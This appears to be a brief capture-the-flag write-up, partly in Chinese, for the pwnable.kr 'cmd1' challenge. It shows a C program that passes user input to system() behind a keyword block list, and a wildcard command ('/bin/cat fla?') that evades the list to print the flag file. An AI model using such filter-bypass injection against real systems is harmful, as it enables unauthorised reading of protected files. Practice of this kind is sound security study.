Mommy! what is PATH environment in Linux?
ssh cmd1@pwnable.kr -p2222 (pw:guest)
/*
* cmd1.c
*
* Created on: 2020年2月10日
* Author: acat
*/
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
printf("argv[1]:%s\n",argv[1]);
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
执行的时候使用命令:
./cmd1 “/bin/cat fla?”
其中,?是通配符,它匹配一个任意的字符.在通配符家族当中,还有另外另个通配符,分别是*和[…].其中,*匹配任意多个任意的字符.[…]匹配[]当中的任意的字符.
这样就可以将flag文件当中的内容打印出来了.